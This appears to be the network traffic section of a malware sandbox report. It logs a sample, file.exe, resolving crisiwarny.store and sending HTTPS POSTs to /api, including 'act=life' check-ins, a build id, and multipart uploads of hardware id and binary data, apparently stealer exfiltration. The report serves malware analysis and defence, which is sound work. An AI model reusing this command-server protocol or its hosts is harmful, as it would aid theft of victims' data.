Oct 28, 2024 06:27:04.428642988 CET	56617	53	192.168.2.5	1.1.1.1
Oct 28, 2024 06:27:04.438263893 CET	53	56617	1.1.1.1	192.168.2.5
Oct 28, 2024 06:27:04.442850113 CET	56071	53	192.168.2.5	1.1.1.1
Oct 28, 2024 06:27:04.461962938 CET	53	56071	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 28, 2024 06:27:04.428642988 CET	192.168.2.5	1.1.1.1	0xf570	Standard query (0)	presticitpo.store	A (IP address)	IN (0x0001)	false
Oct 28, 2024 06:27:04.442850113 CET	192.168.2.5	1.1.1.1	0xc35	Standard query (0)	crisiwarny.store	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 28, 2024 06:27:04.438263893 CET	1.1.1.1	192.168.2.5	0xf570	Name error (3)	presticitpo.store	none	none	A (IP address)	IN (0x0001)	false
Oct 28, 2024 06:27:04.461962938 CET	1.1.1.1	192.168.2.5	0xc35	No error (0)	crisiwarny.store		172.67.170.64	A (IP address)	IN (0x0001)	false
Oct 28, 2024 06:27:04.461962938 CET	1.1.1.1	192.168.2.5	0xc35	No error (0)	crisiwarny.store		104.21.95.91	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

crisiwarny.store

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	172.67.170.64	443	6632	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-28 05:27:05 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: crisiwarny.store
2024-10-28 05:27:05 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-28 05:27:05 UTC	1003	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 05:27:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=gojj0dshbjk4ot5u7e2mi6f5sm; expires=Thu, 20 Feb 2025 23:13:44 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=DGng7Xy5OJGC4He2ETGrUvLQ2PsxiclCilb7UPYsth9TiqMLWW9g3up2AxSIpGpALeSHEfsDKUaBn0IiXmu6VBfnqXvvfP4ALI2Z5bH8GCFyeuLgfGTe%2FoB9t4euJ1gIWF8a"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d9883c3a9e3e762-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1113&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2837&recv_bytes=907&delivery_rate=2654445&cwnd=244&unsent_bytes=0&cid=3619008d3e69d6b4&ts=919&x=0"
2024-10-28 05:27:05 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-10-28 05:27:05 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49705	172.67.170.64	443	6632	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-28 05:27:06 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: crisiwarny.store
2024-10-28 05:27:06 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=4SD0y4--legendaryy&j=
2024-10-28 05:27:07 UTC	1009	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 05:27:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=67apgm0tfc1e68rnqgpr8tkncn; expires=Thu, 20 Feb 2025 23:13:46 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=iMPXSQSpvXQYNdcU%2BgggmrzTxl%2BZ6%2FdureAwS1pY31Rl6Hb8Abs3cv4vQljiCjSR4nE3V%2B4U8S2Wy3Pes6FjWeFjYXol7bR9eOnK6gIGXnIRxMlzNnmKTHM9S9VodLghw5tG"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d9883cb888d2e25-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2049&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2838&recv_bytes=952&delivery_rate=1413372&cwnd=238&unsent_bytes=0&cid=3fa80c7472beae8b&ts=531&x=0"
2024-10-28 05:27:07 UTC	360	IN	Data Raw: 34 64 63 0d 0a 7a 7a 75 4f 51 47 59 58 45 6f 41 32 7a 38 68 56 4a 2b 33 36 4d 48 5a 78 71 4d 38 79 53 4a 47 7a 56 79 73 66 51 54 6b 2b 66 4b 4b 30 47 66 68 69 58 43 4d 2b 6f 6b 57 71 36 6d 39 54 6e 34 39 56 57 6c 50 4a 71 78 42 79 39 39 49 37 57 48 70 74 47 30 67 52 67 50 56 64 37 79 77 56 63 6a 36 69 55 37 66 71 62 33 79 57 32 46 55 59 55 35 4c 74 56 79 4c 7a 30 6a 74 4a 66 69 70 57 54 68 44 42 70 31 66 70 4b 41 4e 30 64 75 46 61 6f 71 30 77 51 6f 79 51 58 68 38 63 77 4b 49 51 5a 4c 50 57 4c 51 6b 6c 59 33 52 62 43 4d 4f 43 57 76 30 72 52 47 6f 2b 2b 78 53 71 70 6e 63 64 7a 35 74 56 46 42 33 4f 71 31 6b 67 2b 64 73 7a 53 48 73 72 53 56 63 61 79 71 64 5a 36 69 6b 4a 66 57 4c 73 55 4b 57 6d 4e 6b 69 4d 32 42 78 55 46 4e 4c 74 43 47 71 67 34 7a 5a 59 62 44 Data Ascii: 4dczzuOQGYXEoA2z8hVJ+36MHZxqM8ySJGzVysfQTk+fKK0GfhiXCM+okWq6m9Tn49VWlPJqxBy99I7WHptG0gRgPVd7ywVcj6iU7fqb3yW2FUYU5LtVyLz0jtJfipWThDBp1fpKAN0duFaoq0wQoyQXh8cwKIQZLPWLQklY3RbCMOCWv0rRGo++xSqpncdz5tVFB3Oq1kg+dszSHsrSVcayqdZ6ikJfWLsUKWmNkiM2BxUFNLtCGqg4zZYbD
2024-10-28 05:27:07 UTC	891	IN	Data Raw: 68 4d 6c 65 45 6b 56 38 5a 45 38 65 6e 58 79 6e 7a 31 6a 39 44 63 69 6c 66 55 52 50 47 72 56 6d 73 62 45 52 79 61 4b 49 4d 37 59 6b 79 56 59 69 55 52 46 59 70 69 72 49 65 4d 37 50 57 4f 51 6b 6c 59 31 4e 5a 48 63 4f 6d 56 75 38 71 44 32 64 77 38 46 4b 67 72 79 56 44 69 70 5a 59 46 77 48 41 6f 31 59 70 2b 74 6f 38 54 48 6f 6e 47 78 4a 65 78 37 55 5a 74 47 49 6c 65 48 76 75 58 72 71 71 64 31 72 42 67 52 49 54 48 34 72 31 45 43 37 79 31 54 52 4e 63 79 31 66 55 42 6a 4f 6f 46 62 71 4b 41 52 79 65 75 70 63 72 4b 63 38 53 6f 2b 64 58 78 41 56 78 71 78 56 61 72 32 52 4d 6c 45 39 65 78 74 79 47 63 4f 2f 47 39 6b 68 43 6e 74 33 39 42 53 79 35 43 34 46 69 4a 51 53 54 46 50 45 71 46 38 34 38 73 4d 77 52 32 38 76 58 6c 6f 54 77 36 4e 5a 36 53 55 4a 65 33 62 6c 56 36 Data Ascii: hMleEkV8ZE8enXynz1j9DcilfURPGrVmsbERyaKIM7YkyVYiURFYpirIeM7PWOQklY1NZHcOmVu8qD2dw8FKgryVDipZYFwHAo1Yp+to8THonGxJex7UZtGIleHvuXrqqd1rBgRITH4r1EC7y1TRNcy1fUBjOoFbqKARyeupcrKc8So+dXxAVxqxVar2RMlE9extyGcO/G9khCnt39BSy5C4FiJQSTFPEqF848sMwR28vXloTw6NZ6SUJe3blV6
2024-10-28 05:27:07 UTC	1369	IN	Data Raw: 33 66 39 30 0d 0a 65 48 2f 72 58 61 53 34 50 55 6d 42 69 6c 38 65 46 73 53 68 56 53 58 7a 30 44 52 48 64 79 67 62 45 6c 37 48 74 52 6d 30 59 69 74 34 59 50 42 65 70 72 74 31 63 49 79 57 58 42 4d 46 69 72 49 65 4d 37 50 57 4f 51 6b 6c 59 31 42 61 45 73 79 74 58 2f 34 73 43 32 64 36 38 46 43 6a 72 6a 74 4c 68 70 56 64 45 51 48 4f 72 55 49 72 39 74 59 37 52 47 38 6d 47 78 4a 65 78 37 55 5a 74 47 49 2b 51 58 66 79 52 61 72 6f 41 6b 61 42 6c 6c 55 43 55 39 58 6a 53 57 72 30 33 58 55 52 50 53 42 58 55 52 66 46 6f 6b 76 6d 4c 67 56 6e 64 2b 74 64 70 36 73 35 53 6f 53 55 56 77 59 59 78 61 56 66 4b 2f 37 63 50 6b 31 39 59 78 55 63 47 64 6a 74 41 61 77 44 43 58 70 69 34 55 58 76 6e 7a 52 4c 67 5a 39 45 56 41 79 45 74 42 41 74 2f 35 46 74 43 58 77 76 56 31 30 52 78 Data Ascii: 3f90eH/rXaS4PUmBil8eFsShVSXz0DRHdygbEl7HtRm0Yit4YPBeprt1cIyWXBMFirIeM7PWOQklY1BaEsytX/4sC2d68FCjrjtLhpVdEQHOrUIr9tY7RG8mGxJex7UZtGI+QXfyRaroAkaBllUCU9XjSWr03XURPSBXURfFokvmLgVnd+tdp6s5SoSUVwYYxaVfK/7cPk19YxUcGdjtAawDCXpi4UXvnzRLgZ9EVAyEtBAt/5FtCXwvV10Rx
2024-10-28 05:27:07 UTC	1369	IN	Data Raw: 70 44 33 46 30 34 6c 6d 6d 70 44 6c 4d 67 35 42 65 45 77 48 48 71 46 67 67 2b 74 51 35 52 48 34 78 57 46 31 65 6a 75 31 65 39 47 4a 63 4e 56 66 52 59 34 37 71 4b 41 75 57 32 46 55 59 55 35 4c 74 55 53 4c 30 33 7a 46 62 63 7a 46 56 57 78 37 47 70 56 48 72 4c 67 70 37 59 75 70 56 72 61 51 34 54 59 61 63 55 78 41 58 78 71 6f 51 5a 4c 50 57 4c 51 6b 6c 59 33 4e 66 42 4e 72 76 64 2b 63 69 41 32 56 6d 2b 52 53 79 35 43 34 46 69 4a 51 53 54 46 50 4f 70 6c 6f 6a 38 4e 67 78 52 48 30 71 56 46 55 57 7a 61 56 4c 37 53 67 57 63 58 58 6a 57 36 65 75 50 30 6d 41 6c 46 59 47 47 49 72 6a 45 43 33 72 6b 57 30 4a 58 53 68 4e 66 77 7a 53 37 55 61 69 4f 30 52 79 66 4b 49 4d 37 61 4d 37 52 49 36 53 56 42 38 57 78 36 31 56 49 50 54 64 4e 55 6c 2b 4a 56 31 52 46 73 69 68 56 65 Data Ascii: pD3F04lmmpDlMg5BeEwHHqFgg+tQ5RH4xWF1eju1e9GJcNVfRY47qKAuW2FUYU5LtUSL03zFbczFVWx7GpVHrLgp7YupVraQ4TYacUxAXxqoQZLPWLQklY3NfBNrvd+ciA2Vm+RSy5C4FiJQSTFPOploj8NgxRH0qVFUWzaVL7SgWcXXjW6euP0mAlFYGGIrjEC3rkW0JXShNfwzS7UaiO0RyfKIM7aM7RI6SVB8Wx61VIPTdNUl+JV1RFsihVe
2024-10-28 05:27:07 UTC	1369	IN	Data Raw: 65 4f 6c 53 6f 36 73 78 53 59 4c 59 48 46 51 55 30 75 30 49 61 74 54 4c 4f 45 39 71 4d 6d 35 62 48 70 48 74 52 71 49 37 52 48 4a 38 6f 67 7a 74 70 7a 74 50 67 70 31 57 48 42 54 4a 72 46 77 75 2f 74 77 78 51 48 6b 6d 53 55 34 59 7a 71 31 57 34 69 30 49 5a 33 37 6e 56 4b 48 71 65 51 57 49 67 42 4a 4d 55 2f 75 36 55 47 72 73 6e 79 77 4a 65 69 38 62 42 46 37 50 6f 45 76 67 4c 51 52 30 63 2b 5a 66 71 71 77 78 52 49 79 64 55 52 45 56 79 36 31 63 49 50 54 5a 50 30 64 77 4a 56 39 61 47 49 44 6a 47 65 73 36 52 43 30 77 30 46 6d 6a 6f 7a 52 44 67 6f 35 36 4a 56 50 56 34 30 6c 71 39 4e 31 31 45 54 30 6e 55 46 51 53 78 61 56 63 37 53 6f 4f 66 58 2f 74 52 71 79 6c 50 6b 4b 45 6c 56 30 61 46 73 53 2f 56 79 48 34 32 54 78 48 65 32 4d 56 48 42 6e 59 37 51 47 73 46 41 64 Data Ascii: eOlSo6sxSYLYHFQU0u0IatTLOE9qMm5bHpHtRqI7RHJ8ogztpztPgp1WHBTJrFwu/twxQHkmSU4Yzq1W4i0IZ37nVKHqeQWIgBJMU/u6UGrsnywJei8bBF7PoEvgLQR0c+ZfqqwxRIydUREVy61cIPTZP0dwJV9aGIDjGes6RC0w0FmjozRDgo56JVPV40lq9N11ET0nUFQSxaVc7SoOfX/tRqylPkKElV0aFsS/VyH42TxHe2MVHBnY7QGsFAd
2024-10-28 05:27:07 UTC	1369	IN	Data Raw: 4b 6d 6b 4a 55 53 41 32 42 78 55 46 4e 4c 74 43 47 72 43 78 7a 4a 4f 63 6d 46 79 57 77 58 42 70 31 72 6e 4c 6b 52 71 50 76 73 55 71 71 5a 33 48 63 2b 56 58 68 6b 58 32 4b 46 51 4b 76 72 57 50 31 74 79 4c 46 5a 66 48 73 57 2f 57 50 34 74 44 33 42 7a 35 6c 75 69 70 6a 39 50 7a 39 59 53 45 77 75 4b 39 52 41 47 38 4d 41 2f 43 31 6f 35 54 56 73 53 30 61 5a 55 34 47 49 62 4f 32 6d 69 55 36 48 71 62 77 57 50 6d 56 38 47 46 73 75 6e 57 69 66 37 33 6a 42 4d 63 69 64 66 56 78 44 53 6f 31 62 73 4a 41 39 30 64 65 46 66 70 36 51 2b 56 38 2f 57 45 68 4d 4c 69 76 55 51 41 4f 6a 51 4f 45 55 2f 44 56 42 4b 47 59 4b 4d 56 2b 63 6c 43 47 4d 77 2f 52 71 30 36 6a 42 4a 7a 38 41 53 48 52 33 47 72 6c 63 69 2b 39 51 31 51 6e 30 73 55 56 49 5a 30 71 64 56 35 6a 41 4c 64 6e 33 6d Data Ascii: KmkJUSA2BxUFNLtCGrCxzJOcmFyWwXBp1rnLkRqPvsUqqZ3Hc+VXhkX2KFQKvrWP1tyLFZfHsW/WP4tD3Bz5luipj9Pz9YSEwuK9RAG8MA/C1o5TVsS0aZU4GIbO2miU6HqbwWPmV8GFsunWif73jBMcidfVxDSo1bsJA90deFfp6Q+V8/WEhMLivUQAOjQOEU/DVBKGYKMV+clCGMw/Rq06jBJz8ASHR3Grlci+9Q1Qn0sUVIZ0qdV5jALdn3m
2024-10-28 05:27:07 UTC	1369	IN	Data Raw: 34 46 69 4a 51 53 54 46 50 4b 71 56 77 70 39 4e 38 36 52 48 49 6b 55 46 4d 55 7a 72 39 57 36 53 6f 49 66 58 33 77 58 71 65 34 50 6b 79 43 6c 6c 6f 47 45 49 72 6a 45 43 33 72 6b 57 30 4a 54 79 6c 59 55 41 6a 4e 6f 68 6e 7a 62 42 30 31 64 2b 34 55 39 65 6f 6c 56 34 2b 54 55 68 4d 64 32 4b 78 59 4a 66 6e 52 4d 30 4a 33 49 46 4a 59 45 4d 6d 72 57 4f 45 6a 42 58 56 31 34 6c 32 2f 70 33 63 4c 7a 35 39 4b 56 45 75 4b 6d 6c 77 68 77 74 49 6a 43 57 4a 74 51 68 77 5a 7a 4f 30 42 72 43 4d 57 65 48 6a 6d 56 4b 43 73 50 45 53 4f 6d 31 49 55 45 4d 71 6f 57 79 58 31 31 6a 68 44 64 43 70 4a 56 42 72 53 72 56 58 6f 59 6b 6f 31 64 2f 6f 55 39 65 6f 48 52 6f 53 55 55 68 6b 47 69 72 49 65 4d 37 50 57 4f 51 6b 6c 59 31 4e 58 46 63 61 6d 57 75 38 73 44 33 39 2f 37 56 36 72 72 Data Ascii: 4FiJQSTFPKqVwp9N86RHIkUFMUzr9W6SoIfX3wXqe4PkyClloGEIrjEC3rkW0JTylYUAjNohnzbB01d+4U9eolV4+TUhMd2KxYJfnRM0J3IFJYEMmrWOEjBXV14l2/p3cLz59KVEuKmlwhwtIjCWJtQhwZzO0BrCMWeHjmVKCsPESOm1IUEMqoWyX11jhDdCpJVBrSrVXoYko1d/oU9eoHRoSUUhkGirIeM7PWOQklY1NXFcamWu8sD39/7V6rr
2024-10-28 05:27:07 UTC	1369	IN	Data Raw: 56 57 52 68 52 79 36 42 41 4c 62 4f 66 64 55 38 39 65 77 73 53 58 73 53 38 47 62 52 79 56 69 34 6c 73 51 50 39 2b 43 67 4c 6c 74 68 45 56 45 75 59 34 78 41 34 73 34 6c 31 44 6e 34 78 53 56 6f 64 31 71 34 65 30 68 77 6b 66 6e 7a 68 57 4b 79 74 64 77 76 50 6c 78 4a 4d 4b 6f 71 75 51 6a 69 38 77 43 4e 45 62 53 51 58 56 41 2f 4e 6f 52 6d 69 59 6b 68 78 65 2b 35 52 71 72 70 34 56 35 2b 54 58 67 4a 66 7a 72 38 51 5a 4c 50 41 50 6b 5a 76 4c 56 77 54 44 39 61 67 53 65 38 6e 41 7a 6c 34 38 31 6d 68 36 6e 6b 46 6d 70 4e 65 45 68 37 66 34 6b 45 38 38 4d 63 79 42 58 55 79 56 6c 42 65 2f 2b 4d 5a 39 47 4a 63 4e 55 58 68 57 71 4f 74 49 56 54 43 75 46 6b 59 45 4d 61 73 56 32 71 39 6b 54 4d 4a 4a 58 41 56 48 42 72 52 37 51 47 38 63 46 38 67 49 37 55 45 2f 37 56 35 58 4d Data Ascii: VWRhRy6BALbOfdU89ewsSXsS8GbRyVi4lsQP9+CgLlthEVEuY4xA4s4l1Dn4xSVod1q4e0hwkfnzhWKytdwvPlxJMKoquQji8wCNEbSQXVA/NoRmiYkhxe+5Rqrp4V5+TXgJfzr8QZLPAPkZvLVwTD9agSe8nAzl481mh6nkFmpNeEh7f4kE88McyBXUyVlBe/+MZ9GJcNUXhWqOtIVTCuFkYEMasV2q9kTMJJXAVHBrR7QG8cF8gI7UE/7V5XM
2024-10-28 05:27:07 UTC	1369	IN	Data Raw: 53 35 6e 6a 45 44 69 7a 69 58 55 4f 63 79 35 61 58 78 44 44 76 30 76 71 49 52 4a 32 4e 39 78 71 69 4b 63 36 51 49 47 66 62 43 6f 79 77 4c 31 64 4a 66 54 76 43 33 35 73 4a 45 73 65 4f 4d 4f 37 57 71 78 73 52 47 30 77 75 68 53 4d 6f 43 64 49 67 4a 38 53 57 6c 50 4f 37 51 68 71 31 74 77 34 54 48 4d 6b 47 58 30 55 30 4b 42 57 36 32 4a 4b 4e 58 79 69 44 4f 32 72 50 56 57 43 6c 31 56 59 46 4e 43 71 45 47 53 7a 33 33 55 52 50 53 4a 52 54 42 50 50 71 68 58 71 4c 41 6f 31 62 36 78 4e 37 62 78 33 48 64 7a 57 45 67 5a 54 6b 75 30 58 4a 50 37 51 4e 6b 64 2b 4d 55 6c 61 48 64 61 75 48 74 49 63 49 58 68 39 35 31 71 71 6c 41 6c 6b 68 59 68 66 47 78 53 49 6a 56 63 38 38 4f 38 4c 66 6d 77 6b 53 78 34 34 77 37 74 61 72 47 78 45 62 54 43 36 46 49 79 67 4a 30 69 41 6e 78 41 Data Ascii: S5njEDiziXUOcy5aXxDDv0vqIRJ2N9xqiKc6QIGfbCoywL1dJfTvC35sJEseOMO7WqxsRG0wuhSMoCdIgJ8SWlPO7Qhq1tw4THMkGX0U0KBW62JKNXyiDO2rPVWCl1VYFNCqEGSz33URPSJRTBPPqhXqLAo1b6xN7bx3HdzWEgZTku0XJP7QNkd+MUlaHdauHtIcIXh951qqlAlkhYhfGxSIjVc88O8LfmwkSx44w7tarGxEbTC6FIygJ0iAnxA

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49706	172.67.170.64	443	6632	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-28 05:27:08 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12840 Host: crisiwarny.store
2024-10-28 05:27:08 UTC	12840	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 33 45 32 31 37 35 45 36 39 32 37 45 30 34 41 43 30 33 42 36 45 30 35 35 36 33 36 45 39 36 43 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"F3E2175E6927E04AC03B6E055636E96C--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-28 05:27:49 UTC	931	IN	HTTP/1.1 520 Date: Mon, 28 Oct 2024 05:27:49 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 15 Connection: close Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=HAAmbIaU7rjfC15QicQ%2FnvAMFR%2BUf40VQtbfGJACV2KhwG3e5Z6MKtP%2BaV8WEcaWMyLw4vYm1Z4%2BLmibZzuFgbN7yLcHbCqGjHQ42H82tyHZ1%2BdricGadXgPZKntVLaYyPfy"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} X-Frame-Options: SAMEORIGIN Referrer-Policy: same-origin Cache-Control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Expires: Thu, 01 Jan 1970 00:00:01 GMT Server: cloudflare CF-RAY: 8d9883d42cdce6fe-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2057&sent=8&recv=18&lost=0&retrans=0&sent_bytes=2838&recv_bytes=13780&delivery_rate=1403100&cwnd=37&unsent_bytes=0&cid=eb080c01791978df&ts=41268&x=0"
2024-10-28 05:27:49 UTC	15	IN	Data Raw: 65 72 72 6f 72 20 63 6f 64 65 3a 20 35 32 30 Data Ascii: error code: 520

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49874	172.67.170.64	443	6632	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-28 05:27:50 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15082 Host: crisiwarny.store
2024-10-28 05:27:50 UTC	15082	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 33 45 32 31 37 35 45 36 39 32 37 45 30 34 41 43 30 33 42 36 45 30 35 35 36 33 36 45 39 36 43 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"F3E2175E6927E04AC03B6E055636E96C--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49951	172.67.170.64	443	6632	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-28 05:28:05 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20572 Host: crisiwarny.store
2024-10-28 05:28:05 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 33 45 32 31 37 35 45 36 39 32 37 45 30 34 41 43 30 33 42 36 45 30 35 35 36 33 36 45 39 36 43 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"F3E2175E6927E04AC03B6E055636E96C--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-28 05:28:05 UTC	5241	OUT	Data Raw: 5a 3e 93 af 35 13 92 cd 36 8a 95 d9 76 89 c4 4d c9 4d d9 5a b5 da 68 27 0c 46 c7 33 b7 ee 57 14 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 75 6e 20 0a e6 d6 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 ce 0d 46 c1 dc ba 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d6 b9 81 28 98 5b f7 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 3a 37 18 05 73 eb 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 e7 06 a2 60 6e dd 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: Z>56vMMZh'F3Wun 4F([:7s~X`nO

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49963	172.67.170.64	443	6632	C:\Users\user\Desktop\file.exe

